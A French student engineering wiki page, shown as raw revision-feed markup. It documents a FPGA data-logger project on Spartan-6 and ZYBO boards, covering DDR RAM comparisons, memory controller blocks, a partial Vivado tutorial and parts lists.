====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
Voici une liste de matériel pour réaliser cette solution:&lt;br /&gt;
*Plateforme ZYBO&lt;br /&gt;
*Alimentation 5V 3A&lt;br /&gt;
*Carte microSD 4Gb (2Gb minimum)&lt;br /&gt;
*Cable RJ45 &lt;br /&gt;
*Linux type Debian &amp;lt;br&amp;gt;&lt;br /&gt;
Voici les différentes étapes à réaliser pour récupérer et afficher les données venant des GPIOs:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Téléchargement et installation=====&lt;br /&gt;
a°)Telecharger et installer Vivado WebPack de la version la plus récente. [http://www.xilinx.com/support/download.html (Xilinx)] &amp;lt;br&amp;gt;&lt;br /&gt;
b°)Télecharger depuis [https://reference.digilentinc.com/zybo:zybo Zybo Resource Center] le fichier zybo_base_system.zip. &amp;lt;br&amp;gt;&lt;br /&gt;
c°)Télecharger depuis ce [https://github.com/Digilent/vivado-boards/archive/master.zip lien] les ZYBO board files et placer le dossier source /new/zybo/ dans C:\Xilinx\Vivado\2015.4\data\boards\board_files &amp;lt;br&amp;gt;&lt;br /&gt;
d°)Télecharger les fichiers [http://xillybus.com/downloads/xillinux-eval-zybo-1.3c.zip xillinux-eval-zybo-1.3c.zip] et n'en extraire que le dossier bootfiles dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
e°)Télecharger le fichier [http://xillybus.com/downloads/xillinux-1.3.img.gz xillinux-1.3.img.gz] et extraire son contenu dans le dossier de travail&amp;lt;br&amp;gt;&lt;br /&gt;
=====Création d'une carte bootable sur ZYBO=====&lt;br /&gt;
[[Fichier:Tuto1.PNG|100px|thumb|right|g°)]]&lt;br /&gt;
[[Fichier:Tuto2.PNG|100px|thumb|right|h°)]]&lt;br /&gt;
[[Fichier:Tuto3.PNG|100px|thumb|right|j°)]]&lt;br /&gt;
[[Fichier:Tuto4.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto5.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
[[Fichier:Tuto6.PNG|100px|thumb|right|l°)]]&lt;br /&gt;
Dans la suite du tutoriel, je vais présenter comment obtenir le fichier .bit qui permet d'obtenir un accès aux différents ports du FPGA comme les switches, les leds, le HDMI etc. Si vous voulez prendre un fichier tout fait, je vous propose le mien qui est déjà compilé et fonctionnel. On le trouvera dans ce [[fichier: Pack_bit.zip | fichier .zip]] avec un imprim'écran qui montre les registres lié aux différentes interfaces. Ce fichier image est très important pour la partie &amp;quot;récupération&amp;quot; des données. Si vous utilisez ce fichier .zip, sautez directement au point .&amp;lt;br&amp;gt;&lt;br /&gt;
f°)Ouvrir avec le logiciel Vivado zybo_base_system\source\vivado\hw\zybo_bsd\zybo_bsd.xpr &amp;lt;br&amp;gt;&lt;br /&gt;
g°)Sur la gauche de l'écran, sous IP integrator, choisir Open Block Design &amp;lt;br&amp;gt;&lt;br /&gt;
h°)Supprimer l'IP pour adresser les LEDS &amp;lt;br&amp;gt;&lt;br /&gt;
i°)On va créer un nouvel IP, tool-&amp;gt;Create and Package IP...; next; name-&amp;gt; myLed; next &amp;lt;br&amp;gt;&lt;br /&gt;
j°)La fenêtre suivante permet d'ajouter des interfaces. On va créer une interface AX14 pour le peripherique myLed. &lt;br /&gt;
*Interface type -&amp;gt;Lite &lt;br /&gt;
*Mode -&amp;gt;Slave &lt;br /&gt;
*data width -&amp;gt;32 bits &lt;br /&gt;
*number of registers -&amp;gt;4&lt;br /&gt;
*Name-&amp;gt;S00_AXI &amp;lt;br&amp;gt;&lt;br /&gt;
k°)La fenêtre suivante permet de choisir l'option &amp;quot;edit IP&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
l°)Dans le projetct manager, ouvrir &amp;quot;myLed_V1...&amp;quot; et ajouter à la ligne 18 :&lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt;output wire [3:0] led, &amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
et à la ligne 400 : &lt;br /&gt;
{| width=10% &lt;br /&gt;
|&amp;lt;pre&amp;gt; assign led=slv_reg0[3:0];&amp;lt;/pre&amp;gt;&lt;br /&gt;
|} &lt;br /&gt;
m°)&amp;lt;br&amp;gt;&lt;br /&gt;
n°)&amp;lt;br&amp;gt;&lt;br /&gt;
o°)&amp;lt;br&amp;gt;&lt;br /&gt;
p°)&amp;lt;br&amp;gt;&lt;br /&gt;
q°)&amp;lt;br&amp;gt;&lt;br /&gt;
r°)&amp;lt;br&amp;gt;&lt;br /&gt;
s°)&amp;lt;br&amp;gt;&lt;br /&gt;
t°)&amp;lt;br&amp;gt;&lt;br /&gt;
u°)&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Fichiers supplémentaires==&lt;br /&gt;
[[Fichier:DDR connecteur datasheet.png|300px|thumb|right|]]&lt;br /&gt;
*Empreinte sous Altium Designer pour le connecteur DDR1&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Shopping==&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10081530-12207LF/?qs=sGAEpiMZZMu51HMau1GEUGmiHfa8/gTAo1M2%252bNESSU0%3d Connecteur DDR3] 1.5€ ([http://portal.fciconnect.com/Comergent/en/US/adirect/fci;jsessionid=FEFFAFAD5839598353F129F4194CC82E?cmd=catProductDetail&amp;amp;entryPoint=adirect&amp;amp;messageType=catProductDetail&amp;amp;showAddButton=true&amp;amp;productID=1008153012207LF datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/FCI/10005639-11109LF/?qs=sGAEpiMZZMu51HMau1GEUBTEbqSTMcBDcRDLdGvDZHE%3d Connecteur DDR2] 2€ ([http://www.mouser.com/ds/2/154/gs-12-251-532922.pdf datasheet])&lt;br /&gt;
*[http://www.mouser.fr/ProductDetail/TE-Connectivity-AMP/5390241-4/?qs=sGAEpiMZZMu51HMau1GEUC3LrSDvJPJ82YYPKc6FyEY%3d Connecteur DDR1] 4.5€ ([http://www.mouser.com/ds/2/418/NG_CD_5390241_E-668131.pdf datasheet])&lt;br /&gt;
*Recuperation de DDR1 au service informatique de Polytech&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
[http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603.html Fiche commerciale TE0600] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.fpga4fun.com/FPGAinfo1.html FPGA généralité]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/user_guides/ug388.pdf Guide Xilinx pour le design avec les MCB (Chapitre 3) ] &amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/ip_documentation/mig/v3_92/ug416.pdf Guide Xilinx pour le design avec l'outil MIG (page 9)]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://claude.lahache.free.fr/mapage2/lignes.pdf Cours sur les lignes de propagations]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://hallofitmage.blogspot.fr/2012/03/difference-between-ddr-ddr2-and-ddr3.html Frautte Nihilus] &amp;lt;br&amp;gt;[https://en.wikipedia.org/wiki/DIMM Wikipédia DIMM]&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27512</id>
		<title>P2 Data Logger</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P2_Data_Logger&amp;diff=27512"/>
				<updated>2016-02-22T09:15:22Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Etude des plates-formes de programmation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Dénomination du sujet par les enseignants====&lt;br /&gt;
{|class=&amp;quot;wikitable centre&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot; |Objectif&lt;br /&gt;
| Réaliser une plate-forme de mesure de la consommation d'équipement électroniques &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;col&amp;quot;|Description&lt;br /&gt;
|La consommation des équipements électroniques est devenue un enjeu majeur puisque les équipements sont très souvent utilisés en situation de mobilité. La réduction de la consommation passe par la compréhension des sources de consommation que ce soit par le logiciel ou par le matériel.&lt;br /&gt;
&lt;br /&gt;
Afin de comprendre les mécanismes de consommation, il est nécessaire de pouvoir mesurer le courant des différents composants d'un système. Dans ce projet, nous proposons la réalisation d'une plate-forme permettant la mesure de courant.&lt;br /&gt;
&lt;br /&gt;
Cette plate-forme devra être ouverte et facilement reconfigurable (ajout / retrait de voies de mesures, filtrage des mesures, ...)&lt;br /&gt;
&lt;br /&gt;
La plate-forme sera constituée de :&lt;br /&gt;
*Un FPGA permettant de contrôler le système,&lt;br /&gt;
*Des voies de mesures de courant embarquant un capteur et un convertisseur analogique / numérique,&lt;br /&gt;
*Une mémoire RAM de stockage des données,&lt;br /&gt;
*Une interface permettant de gérer la plate-forme et de récupérer les données.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Contexte====&lt;br /&gt;
Dans le cadre d'une réalisation de projet de fin d'étude, on se propose de réaliser un &amp;quot;data logger&amp;quot;. Durant les semaines à venir, je vais travailler sur un dispositif qui stockera des données numériques envoyé depuis un convertisseur analogique numérique dans une barrette de RAM avant de les rendre accessible par une liaison RS232. Le but de se projet est de compléter le panel de technologie disponible pour un laboratoire qui possède une...&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
*stocker en RAM une série de donnée le plus rapidement possible&lt;br /&gt;
*construire interface permettant de recuperer les infomations via un RJ45 protocole Ethernet&lt;br /&gt;
*rendre modulaire le code en permettant de modifier facilement de la taille des mots d'entrée (passer de 8 bits à 10 puis 16 ...)&lt;br /&gt;
*rendre modulaire le code en permettant d'ajouter un fréquencemètre &lt;br /&gt;
*développer une carte support pour le LX45 maitriser les temps de propagations des signaux sur le typon, en direction de la barrette de RAM&lt;br /&gt;
&lt;br /&gt;
===Étapes du projet===&lt;br /&gt;
Le projet va se dérouler en plusieurs étapes.&amp;lt;br&amp;gt;&lt;br /&gt;
1)Etude des plates-formes de programmation&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
2)Etude de la problématique&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
3)Proposition de solutions et argumentaire&lt;br /&gt;
&lt;br /&gt;
===Choix techniques : matériel, logiciels, sources===&lt;br /&gt;
*[http://www.opencores.org OPENCORES.ORG]&lt;br /&gt;
*[http://www.ztex.de/usb-fpga-1/usb-fpga-1.15.e.html Caracteristiques du LX45]&lt;br /&gt;
*[http://www.xilinx.com/itp/xilinx10/isehelp/ise_c_overview.htm Logiciel XILINX ISE ] (overview)&lt;br /&gt;
&lt;br /&gt;
==Suivi des étapes du Projet==&lt;br /&gt;
===Etude des plates-formes de programmation===&lt;br /&gt;
====TE0600 &amp;amp; TE0603====&lt;br /&gt;
La board que m'ont fournie les encadrants se compose se compose d'une carte mère et d'une carte support. La carte mère, nommé TE0600 est composé d'un FPGA Xilinx SPARTAN 6 LX45. C'est le &amp;quot;cerveau&amp;quot; du projet qui vient se brancher sur une carte support qui me servira au développement (programmation, IOs, carte mémoire, alimentation, Ethernet...). Celle ci se nomme TE0603. Elles seront indissociable pendant toute la période de développement. &lt;br /&gt;
*[http://www.trenz-electronic.de/de/produkte/fpga-boards/trenz-electronic/te0600.html SPARTAN 6 lx45 chez TRENZ Electronic TE0603 et TE0600 (fourni le 10 octobre 2015)]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet]&amp;lt;br&amp;gt;&lt;br /&gt;
=====Caracteristiques SPARTAN 6 XILINX LX45=====&lt;br /&gt;
[[Fichier:Spartan6_logo.jpg|200px|thumb|right|SPARTAN 6 LX45]]&lt;br /&gt;
'''General'''&lt;br /&gt;
*consommation: 0.6A&lt;br /&gt;
*45nm low power process technology with 6-input LUTs&lt;br /&gt;
*1080MHz clock management tiles (2 DCM + 1 PLL) &lt;br /&gt;
*320MHz Block RAM from 216 - 4824 Kbits&lt;br /&gt;
*Memory interface controllers blocks from 0 - 4&lt;br /&gt;
*1.08Gbps SelectIO™ technology &lt;br /&gt;
*390MHz DSP48A1 slices from 8 - 180 &lt;br /&gt;
*Embedded processing &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Pour plus de détails:&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Caracteristiques_SPARTAN_6_XILINX_LX45.pdf]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds160.pdf General Description]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/publications/prod_mktg/Spartan6_Product_Brief.pdf Commerciale presentation]&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.xilinx.com/support/documentation/data_sheets/ds162.pdf Spartan-6 FPGA Electrical Characteristics]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques de TE0600 =====&lt;br /&gt;
[[Fichier:TE0600_photo.jpg|300px|thumb|right|TE0600]]&lt;br /&gt;
[[Fichier:TE0603_photo.jpg|300px|thumb|right|TE0603]]&lt;br /&gt;
Industrial-grade Xilinx Spartan-6 LX FPGA micromodule (LX45 / LX100 / LX150)&lt;br /&gt;
* 10/100/1000 tri-speed Gigabit Ethernet transceiver (PHY)&lt;br /&gt;
* 2 x 16-bit-wide 1 Gb (128 MB) or 4Gb (512 MB) DDR3 SDRAM&lt;br /&gt;
* 128Mb (16 MB) SPI Flash memory (for configuration and operation) accessible through:&lt;br /&gt;
* 1Kb Protected 1-Wire EEPROM with SHA-1 Engine&lt;br /&gt;
* JTAG port (SPI indirect)&lt;br /&gt;
* FPGA configuration through:&lt;br /&gt;
* B2B connector&lt;br /&gt;
* JTAG port&lt;br /&gt;
* SPI Flash memory&lt;br /&gt;
* Plug-on module with 2 × 100-pin high-speed hermaphroditic strips&lt;br /&gt;
* Up to 52 differential, up to 109 single-ended (+ 1 dual-purpose) FPGA I/O pins available on B2B strips&lt;br /&gt;
* 4.0 A x 1.2 V power rail&lt;br /&gt;
* 1.5 A x 1.5 V power rail&lt;br /&gt;
* 125 MHz reference clock signal&lt;br /&gt;
* Single-ended custom oscillator (option)&lt;br /&gt;
* eFUSE bit-stream encryption (LX100 or larger)&lt;br /&gt;
* 1 user LED&lt;br /&gt;
* Evenly-spread supply pins for good signal integrity&lt;br /&gt;
* Other assembly options for cost or performance optimization available upon request.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0600/documents/UM-TE0600-02.pdf Datasheet TE0600]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Caractéristiques du TE0603=====&lt;br /&gt;
*Board power supply via screw terminals, DC jack&lt;br /&gt;
*JTAG header compatible with Xilinx parallel cable III, IV and USB cable HW-USB&lt;br /&gt;
*Small form factor: 115x70 mm&lt;br /&gt;
*Micro SD connector&lt;br /&gt;
*5 Header connectors with up to 114 user IOs&lt;br /&gt;
*2 Push-buttons for reset and user function&lt;br /&gt;
[http://www.trenz-electronic.de/fileadmin/docs/Trenz_Electronic/TE0600-GigaBee_series/TE0603/documents/UM-TE0603.pdf Datasheet TE0603] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Étude de la carte TE0603=====&lt;br /&gt;
[[Fichier:TE0603_Gerber.jpg|300px|thumb|right|Gerber TE0603]]&lt;br /&gt;
Je vais travailler avec la carte TE0603 en lui ajoutant une socket support pour ajouter une barrette de RAM. En effet, on peut configurer le FPGA pour que ces LUT se transforment en mémoire volatile. Cependant, la taille de ces mémoire reste limité au maximum à 512Mb configurable en 16 ou 32 bits. Mais le CAN branché en amont du FPGA fonctionne à une fréquence de 50MHz, on se rend vite compte que la mémoire RAM va se saturer même si la vitesse de la transmission en aval par le port Ethernet est élevé. &amp;lt;br&amp;gt;&lt;br /&gt;
On trouve sur le site [http://www.trenz-electronic.de trenz-electronic.de] des fichiers schematic et typon lisible sous Altium de la carte de TE0603. C'est de ce [http://www.trenz-electronic.de/download/d0/Trenz_Electronic/d1/TE0600-GigaBee_series/d2/TE0603/d3/HW_design.html schéma] que je vais démarrer pour réaliser la carte fille RAM. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En étudiant de plus près le protocole de lecture et d'écriture, il semble possible de créer une carte fille avec juste le support de la barrette physique de RAM. C'est le FPGA qui va se charger de réaliser le &amp;quot;driver&amp;quot; pour accéder en écriture et en lecture les espaces mémoires.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====ZYBO====&lt;br /&gt;
[[Fichier:Zybo.jpg|300px|thumb|right|ZYBO]]&lt;br /&gt;
C'est une plate-forme de développement d'usage général. Celle-ci intègre un port HDMI, plusieurs ports USB dont un pour la programmation, plusieurs switch, plusieurs boutons poussoirs, un slot pour carte SD et surtout 512Mb de DDR3. Cette carte possède comme autre avantage qu'elle peut booter sur un linux via la carte SD. Ainsi, on peut se connecter en SSH/SCP sur la machine et interagir, émettre et recevoir des données en grande quantité. Je pense que le ZYNQ 7000 est un FPGA très avantageux pour faire du système embarqué.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*[http://digilentinc.com/Products/Detail.cfm?NavPath=2,400,1198&amp;amp;Prod=ZYBO Diligent ZYBO Zynq-7000] (fourni le 26 novembre 2015)&lt;br /&gt;
&lt;br /&gt;
====LX9 MicroBoard====&lt;br /&gt;
*Plateforme Xilinx Spartan-6 FPGA LX9 MicroBoard (ressource personnel)&lt;br /&gt;
[[Fichier:LX9.jpg|300px|thumb|right|]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Etude de la problématique===&lt;br /&gt;
====Étude pour l'ajout de RAM====&lt;br /&gt;
Je m'interroge sur les différentes technologies de RAM, en cherchant sur le net, on trouve des comparatifs et de brefs historiques. En voici des extraits:&amp;lt;br&amp;gt;&lt;br /&gt;
'''Historique:''' &amp;lt;br&amp;gt; &lt;br /&gt;
 [[Fichier:DDR.jpg|200px|thumb|right|Différents types de barrette de RAM]]&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Double Data Rate (DDR) SDRAM starts making name in computer market around 2002 and is evolved from SDR (Single Data Rate) SDRAM. The slight difference between DDR and SDR is that DDR reads data on both the rising and falling edges of the clock signal, enabling a DDR memory module to transfer data twice faster as an SDR memory module.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;After 2 years DDR made name in the market, DDR2 appears in mid-2004. DDR2 achieves a better speed than  DDR in providing bandwidth up to 8.5 GB per second. The best thing about DDR2 is that theDDR2 based systems can use memory installed in pairs to run in &amp;quot;dual channel mode&amp;quot; to increase memory throughput even further.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: grey;&amp;quot;&amp;gt;Nowadays, DDR3 takes place of DDR2 in the computer market. DDR3 is believed to consume less power because it operates at lower voltages and can transfer data at rates up to 12.8 GB per second which is 4.3 GB per second faster than DDR2. DDR3 based systems can address memory modules in banks of 1, 2 or 3. &lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |+ Comparatif des performances de DDR* RAM&lt;br /&gt;
 |-&lt;br /&gt;
 |&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR1 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR2 RAM&lt;br /&gt;
 ! scope=&amp;quot;col&amp;quot; | DDR3 RAM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Nombre de pins&lt;br /&gt;
 | 184&lt;br /&gt;
 | 240&lt;br /&gt;
 | 240&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Vitesse d'horloge&lt;br /&gt;
 | 100 MHz à 200 MHz&lt;br /&gt;
 | 100 MHz à 266 MHz&lt;br /&gt;
 | 100 MHz à 300 MHz&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Taux maximum de tranfers&lt;br /&gt;
 | 200 MT/s à 400 MT/s&lt;br /&gt;
 | 400 MT/s à 1066 MT/s&lt;br /&gt;
 | 800 MT/s à 2400 MT/s&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Tension d'alimentation&lt;br /&gt;
 | 2.5 V&lt;br /&gt;
 | 1.8 V&lt;br /&gt;
 | 1.5 V&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====IP pour SDRRAM====&lt;br /&gt;
 [[Fichier:Sram.jpg|200px|thumb|right|Schéma fonctionnel du driver pour DDR RAM]]&lt;br /&gt;
*Étude de l'IP pour l'adressage RAM&lt;br /&gt;
On trouve plusieurs Ip pour adresser des mots mémoires à la carte RAM:&lt;br /&gt;
**[http://opencores.org/project,sdr_ctrl opencore]&lt;br /&gt;
**Schéma fonctionnel: &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il semble que le Spartan 6 possède des Memory Controller Blocks (MCBs) qui sont spécialement conçu pour adresser des DRAM (DDR, DDR2 et DDR3). Les MCBs ont une vitesse d'accès supérieur à 800 Mbit/s selon la datasheet du Spartan 6. On peut utiliser l'outil Memory Interface Generator (MIG) qui est disponible dans l'outil CORE Generator de ISE.&lt;br /&gt;
&lt;br /&gt;
====Etude  des Memory Controller Blocks==== &lt;br /&gt;
[[Fichier:MCB.png|400px|thumb|right|Représentation du fonctionnement d'un Memory Controller Block (MCB)]] &lt;br /&gt;
Il y a trois fonctions principales du point de vue de l'utilisateur:&lt;br /&gt;
*Lire le port (unidirectionnel)&lt;br /&gt;
*Écrire sur le port (unidirectionnel) &lt;br /&gt;
*Lire et écrire sur le port (bi directionnel)&lt;br /&gt;
On peut voir la représentation du fonctionnement d'un Memory Controller Block (MCB)plusieurs blocks que l'on définit ainsi:&lt;br /&gt;
*Arbiter ou arbitre:&lt;br /&gt;
Il détermine quel port à la priorité pour accéder à la mémoire physique.&lt;br /&gt;
*Controller ou contrôleur:&lt;br /&gt;
Block de contrôle primaire qui convertit de simples requêtes utilisateur en de plus complexes instructions et séquences pour commmuniquer avec la mémoire.&lt;br /&gt;
*Datapath&lt;br /&gt;
Ce block porte le flux de données écrite et lue entre la mémoire physique et l'utilisateur.&lt;br /&gt;
*Physical Interface (PHY) ou  interface physique:&lt;br /&gt;
Convertit les instructions du contrôleur en des relations temporelles et signaux adapté à la mémoire DDR pour communiquer avec elle.&lt;br /&gt;
*Calibration Logic:&lt;br /&gt;
Clalibre l'interface physique (PHY) pour avoir le meilleur rendement.&lt;br /&gt;
&lt;br /&gt;
===Proposition de solutions et argumentaire===&lt;br /&gt;
====Récuperation et affichage des données avec la pateforme ZYBO====&lt;br /&gt;
